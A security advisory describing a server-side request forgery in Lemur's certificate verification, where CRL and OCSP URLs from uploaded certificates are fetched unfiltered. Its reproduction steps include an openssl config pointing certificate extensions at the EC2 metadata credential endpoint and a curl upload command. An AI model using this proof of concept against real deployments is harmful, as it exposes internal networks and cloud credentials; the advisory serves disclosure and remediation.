## Summary

When verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

## Root Cause

`lemur/certificates/verify.py`, `crl_verify`:

```python
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter
```

`lemur/certificates/verify.py`, `ocsp_verify`:

```python
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)
```

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

## Affected Endpoints

| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |

The bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

## Impact

An operator-role attacker can:

- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.
- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

## Remediation

Filter the URL before it reaches the network sink. Either:

1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.

Additionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

## Steps to Reproduce

1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.
2. Generate a self-signed certificate whose extensions point at internal services:
```
cat > openssl.cnf <<EOF
[req]
distinguished_name = req_distinguished_name
req_extensions = v3_ca
prompt = no

[req_distinguished_name]
CN = ssrf-poc.example

[v3_ca]
crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
EOF

openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
-days 365 -nodes -config openssl.cnf -extensions v3_ca
```

3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:
```
sudo tcpdump -nni any host 169.254.169.254
```

4. As `eve`, upload the malicious certificate:
```
BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
curl -X POST https://lemur.local/api/1/certificates/upload \
-H "Authorization: Bearer <eve_jwt>" \
-H "Content-Type: application/json" \
-d "{
\"name\": \"ssrf-poc\",
\"body\": \"$BODY\",
\"chain\": \"\",
\"private_key\": \"\",
\"owner\": \"eve@example.com\"
}"
```

5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.